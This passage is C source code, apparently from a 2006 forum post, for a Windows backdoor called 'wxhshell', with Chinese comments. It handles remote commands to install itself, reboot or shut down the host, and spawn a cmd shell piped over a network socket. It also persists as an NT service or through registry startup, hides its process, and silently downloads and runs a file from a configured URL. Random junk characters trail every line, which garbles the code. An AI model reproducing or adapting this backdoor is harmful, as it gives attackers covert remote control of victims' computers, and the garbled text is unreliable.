  case '?': { M :}u|  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); b=/'c Q  
    break; Wpl/CO5z  
  } 4%ooJi|)  
  // 安装 xR3$sA2  
  case 'i': { Ws`ndR  
    if(Install()) uz{RV_IX7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); RfTGTz@H  
    else 7g"u)L&32  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^O+(eA7E  
    break; [F-GaaM  
    } ;T WLo_  
  // 卸载 3rKJ<(-2/  
  case 'r': { v '+]T=  
    if(Uninstall()) S$Zi{bU`G  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); nDC0^&  
    else S=mqxIo@m  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); m!%aB{e  
    break; thJ~* 0^  
    } 6u+aP  
  // 显示 wxhshell 所在路径 I6f/+;E  
  case 'p': { b),fz  
    char svExeFile[MAX_PATH]; ed q,:  
    strcpy(svExeFile,"\n\r"); OQKeU0v  
      strcat(svExeFile,ExeFile); rT/r"vr  
        send(wsh,svExeFile,strlen(svExeFile),0); "hf |7E_  
    break; ]9y\W}j  
    } q iOJ:'@  
  // 重启 [MFnS",7c  
  case 'b': { s||" } l  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ,u2Qkw  
    if(Boot(REBOOT)) P Y^#hC5:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^HJ?k:u  
    else { WrGnLE kiV  
    closesocket(wsh); Mq Ai}z%  
    ExitThread(0); \\FT.e6  
    } .N qXdari  
    break; jhm??Af  
    } m<-ShRr*b  
  // 关机 I} jgz  
  case 'd': { 3@gsKtA&H4  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); V|_ h[hXE  
    if(Boot(SHUTDOWN)) O[C4xq  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Xv-p7$?f  
    else { m|qktLx  
    closesocket(wsh); 1Hr}n6s  
    ExitThread(0); 22CET9iCe  
    } kJ_8|  
    break; [Vo5$w  
    } V9<`?[Usv  
  // 获取shell RPW46l34  
  case 's': { $mn0I69  
    CmdShell(wsh); D=#RQ-  
    closesocket(wsh); ",$_\l  
    ExitThread(0); f_jhQ..g<g  
    break; AzOs/q8O  
  } ;2<5^hgk  
  // 退出 <:}nd:l1  
  case 'x': { H3D<"4Q>  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); XnQR(r)pR2  
    CloseIt(wsh); Ku75YFO,5  
    break; qcj {rG18  
    } -d\sKc  
  // 离开 "r-P[EKpL  
  case 'q': { :u14_^  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); #s\@fp7A  
    closesocket(wsh); gYB!KM *v  
    WSACleanup(); W[\6h Zv  
    exit(1); G@k]rwub  
    break; Dw%'u'HG  
        } .$18%jH#  
  } $8=|<vt  
  } } a9Ah:.7/  
nF,F#V8l  
  // 提示信息 &<PIm  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); P]43FPb  
} V\;Xa0  
  } _B0(1(M<2  
\wK&wRn)  
  return; f"ndLX:'}  
} q!ZM Wg  
|58HPW9  
// shell模块句柄 !ZYPz}&N_  
int CmdShell(SOCKET sock) 0<uek  
{ Ek_5% n  
STARTUPINFO si; y7,I10:D  
ZeroMemory(&si,sizeof(si)); =SfNA F  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; s<s}6|Z  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 8=`L#FkRp  
PROCESS_INFORMATION ProcessInfo; ).SJ*Re*^I  
char cmdline[]="cmd"; k QuEG5n.-  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); R~\R>\  
  return 0; =yf) Z^  
} s@F&N9oh  
K~TwyB-h  
// 自身启动模式 e&}W#  
int StartFromService(void) IfK~~XYG  
{ =-h^j  
typedef struct Y[{:?i~9,  
{ Ie.*x'b?y  
  DWORD ExitStatus; D=0YLQ*rP  
  DWORD PebBaseAddress; :ky`)F`  
  DWORD AffinityMask; wjA wJOw|  
  DWORD BasePriority; QyD0WC}i  
  ULONG UniqueProcessId; 'hpOpIsHa  
  ULONG InheritedFromUniqueProcessId; +>Wo:kp3  
}   PROCESS_BASIC_INFORMATION; K-0=#6?y4  
Xz_WFLq4  
PROCNTQSIP NtQueryInformationProcess; ZL( j5E  
\}Jznzx;  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; !dLu($P  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 2J7|y\N,  
U#jz5<r  
  HANDLE             hProcess; @/ z\p7e  
  PROCESS_BASIC_INFORMATION pbi; 0!hr9Y]Lx  
v(1 [n]y  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); *f[ 5rr4  
  if(NULL == hInst ) return 0; ABWn49c.  
@Zt~b'n  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ;c!> =  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); =;Gq:mHi  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Vrt$/ d  
F9fLJol  
  if (!NtQueryInformationProcess) return 0; 5,"c1[`-  
,md_eGF  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); fiGTI}=P  
  if(!hProcess) return 0; UA>=# $  
u]yy%@U1  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; "q=Cye  
(dy(.4W\  
  CloseHandle(hProcess); Q{[@n  
wQhNQ(H~\  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Cj-s  
if(hProcess==NULL) return 0; ,mHME~  
Y^fw37b  
HMODULE hMod; \ruQx)5M  
char procName[255]; Aa ~W,  
unsigned long cbNeeded; (95|DCL  
W$4$%r8  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); f3K-X1`]'U  
8A>OQR  
  CloseHandle(hProcess); #l=yD]t PU  
%'Cj~An  
if(strstr(procName,"services")) return 1; // 以服务启动 {9@D zP  
)bUnk +_  
  return 0; // 注册表启动 }]x \ `}o  
} /K:r4Kw  
}Fe6L;^;  
// 主模块 @{Rb]d?&F?  
int StartWxhshell(LPSTR lpCmdLine) ZQ`8RF *v  
{ @j!,8JQEd  
  SOCKET wsl; n7[nl43  
BOOL val=TRUE; b>ai"!  
  int port=0; 4agW<c#  
  struct sockaddr_in door; dY 8 H2;  
I,-n[k\J  
  if(wscfg.ws_autoins) Install(); [l}H:%O,  
Hjm> I'9  
port=atoi(lpCmdLine); c]6b|mHT  
6S`_L  
if(port<=0) port=wscfg.ws_port; Q((&Q?Vi  
%*D=ni#(sT  
  WSADATA data; Qit&cnO  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; `16'qc  
1&w%TRC2x  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   gIB3DuUo  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 67j kU!  
  door.sin_family = AF_INET; j~q 7v `":  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); y=Y k$:-y  
  door.sin_port = htons(port); Zxebv# 4  
.n8R%|C5  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { (xfc_h*xA  
closesocket(wsl); *:%&z?<Fw  
return 1; !0;AFv`\  
} Y{} ub]i  
fn}E1w  
  if(listen(wsl,2) == INVALID_SOCKET) { ~+Wx\:TT  
closesocket(wsl); vjEDd`jYZ  
return 1; K~L&Z?~|E  
} , $7-SN  
  Wxhshell(wsl); 'O<b'}-A  
  WSACleanup(); q[s,q3n~  
\{h_i FU!  
return 0; Zbczbnj  
K9N31'  
} %' DO FiU  
Y@FYo>0O  
// 以NT服务方式启动 kV'zA F v  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) '2^}de!E  
{ Fb,*;M1'  
DWORD   status = 0; a 0SZw  
  DWORD   specificError = 0xfffffff; [jgVN w""D  
+hRy{Ps/  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ?!RbS#QV}  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ![z2]L+TB  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; dz^HN`AlzC  
  serviceStatus.dwWin32ExitCode     = 0; A/y|pg5  
  serviceStatus.dwServiceSpecificExitCode = 0; [ja^Bhu  
  serviceStatus.dwCheckPoint       = 0; 7Z>vQf B  
  serviceStatus.dwWaitHint       = 0; Ii0\Skb  
\uZpAV)5  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); :<g0Ho?e  
  if (hServiceStatusHandle==0) return; Xt$qjtVM  
A@?0(  
status = GetLastError(); Q>5f@aN  
  if (status!=NO_ERROR) .gO|=E"  
{ v!I z&M:z  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; , Q0Y} )  
    serviceStatus.dwCheckPoint       = 0; m* 3ipI{h  
    serviceStatus.dwWaitHint       = 0; 'Xik2PaO  
    serviceStatus.dwWin32ExitCode     = status; uH\EV`@'  
    serviceStatus.dwServiceSpecificExitCode = specificError; qc(e3x  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); :Wbp|:N0  
    return; / &Z8g4vc  
  } QGN+f)  
Ou[`)|>  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Sh#N5kgD  
  serviceStatus.dwCheckPoint       = 0; 7rD 8  
  serviceStatus.dwWaitHint       = 0; i$kB6B#==  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ^_#wo"  
} +2MF#{ tS  
p&I>xu8fl  
// 处理NT服务事件,比如:启动、停止 |&K;*g|a  
VOID WINAPI NTServiceHandler(DWORD fdwControl) <VZ43I  
{ K~#?Y,}O  
switch(fdwControl) QPm[4Fd{G  
{ "E+;O,N-  
case SERVICE_CONTROL_STOP: GP+=b:C{E  
  serviceStatus.dwWin32ExitCode = 0; YT-ua{ .^  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; z#gebr~_\  
  serviceStatus.dwCheckPoint   = 0; )q{qWobS0  
  serviceStatus.dwWaitHint     = 0; Q m*z  
  { h GA2.{  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); UXji$|ET6  
  } 6r"NU`1A;r  
  return; <Y6Vfee,&  
case SERVICE_CONTROL_PAUSE: YC;@^  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; z#G\D5yX[*  
  break; qGq]E `O  
case SERVICE_CONTROL_CONTINUE: r.)n>  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 8(j]=n6 r  
  break; cEf"m ?w  
case SERVICE_CONTROL_INTERROGATE: XR",.3LD  
  break; yl?LXc[)  
}; )xf(4  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); uPl7u 1c  
} O-[YU%K3?  
!Gnm<|.  
// 标准应用程序主函数 a;dWM(;Kw  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) [;hkT   
{ 2Bi]t%<{  
g@x72$j  
// 获取操作系统版本 M#Z^8(  
OsIsNt=GetOsVer(); }WJX Q@  
GetModuleFileName(NULL,ExeFile,MAX_PATH); EwcFxLa!F  
w}6~t\9D  
  // 从命令行安装 gna!Q  
  if(strpbrk(lpCmdLine,"iI")) Install(); uxdB}H,  
XR8`,qH>  
  // 下载执行文件 `6-flc0r  
if(wscfg.ws_downexe) { OqsuuE  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) el<Gd.p.d  
  WinExec(wscfg.ws_filenam,SW_HIDE); xBc$qjV  
} K8KN<Q s]  
#k<l5x`  
if(!OsIsNt) { 2@T0QJ  
// 如果时win9x,隐藏进程并且设置为注册表启动 qPi $kecx  
HideProc(); p-"wY?q  
StartWxhshell(lpCmdLine); 7#"y mE  
} rc:UG "[  
else c>c3qjWY/  
  if(StartFromService()) %1cxZxGT  
  // 以服务方式启动 ?mV2|;  
  StartServiceCtrlDispatcher(DispatchTable); orWF>o=1  
else )w}'kih  
  // 普通方式启动 {|%^'lS  
  StartWxhshell(lpCmdLine); |CQjgI|;  
rv)Eg53Q  
return 0; Gn6\n'r0  
}
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只看该作者 1 发表于: 2006-10-10
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